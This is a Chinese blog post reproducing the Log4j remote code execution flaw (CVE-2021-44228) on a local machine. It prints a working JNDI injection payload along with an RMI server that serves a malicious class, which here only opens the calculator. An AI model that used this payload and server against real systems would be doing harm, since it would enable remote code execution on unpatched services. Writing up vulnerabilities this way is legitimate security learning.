hugo/content/post/054.Log4j/054.Log4j.md
2021-12-13 18:16:03 +00:00

144 lines
3.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

---
title: "一个只会做开发的小白的 Log4j RCE 漏洞复现过程"
categories: [ "漏洞", "RCE" ]
tags: [ "RCE", "Log4j" ]
draft: false
slug: "log4j-rce"
date: "2021-12-13 17:25:00"
---
## 前言
CVE编号**CVE-2021-44228**
这次的 RCE 漏洞影响确实大,堪称核武器级别,因为其复现极其简单,发出没多久几乎整个 IT 圈都知道了。我一个搞开发的,以往也就关注一些前沿的新技术消息,这次来关注一下安全圈的事件。
Log4j 是 Apache 的一款日志库用途范围极其广泛Spring 等框架均包含。
受影响的组件包含但不限于:
- Apache Struts2
- Apache Solr
- Apache Druid
- Apache Flink
- Apache Flume
- Apache Dubbo
- Apache Kafka
- Spring-boot-starter-log4j2
- ElasticSearch
## RCE 过程整理
影响版本Apache Log4j Core <= 2.14.1
本文的代码仓库:[https://github.com/taurusxin/CVE-2021-44228](https://github.com/taurusxin/CVE-2021-44228)
### 复现
若某一服务中包含有 使用 Log4j 对用户输入内容的日志记录,那么便可触发 RCE
```java
package me.xingez;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
String testPayload = "${jndi:rmi://127.0.0.1/evil}";
LOGGER.error(testPayload);
}
}
```
用户构造恶意 jdni 服务,将含有 `${jndi:xxx}` 的字符串提交到后端,记录日志时便可执行 lookup
![计算器成功弹出](https://cdn.rhyland.cn/hugo/2021-12-13/calc.png)
其中我使用的 jndi 服务为 RMI registry代码如下
`RmiServer.java`
```java
package me.xingez.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) {
try {
// 注册 registry 监听端口
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099...");
// 实例化恶意代码类的引用
Reference reference = new Reference("me.xingez.rmi.EvilCode",
"me.xingez.rmi.EvilCode", null);
// 绑定服务为 evil
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("evil", wrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
`EvilCode.java`
```java
package me.xingez.rmi;
import java.io.IOException;
public class EvilCode {
// 当 lookup 时,直接执行该类的静态块
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
```
声明:以上所有代码块均为安全测试时使用,切勿用于非法用途,使用此代码导致的后果与本人无关。
## 结语
这个漏洞触发简单到用发送一条消息的办法就可以做到,因为我是一名 MC 玩家兼 MC 服务器服主,所以这个问题对我来说是不可忽视的,好在我们服务器现在运行的是最新的 1.18,使用 Java 17不存在此问题。
最后祝愿这几天修代码的安全工程师、开发者都保重身体健康!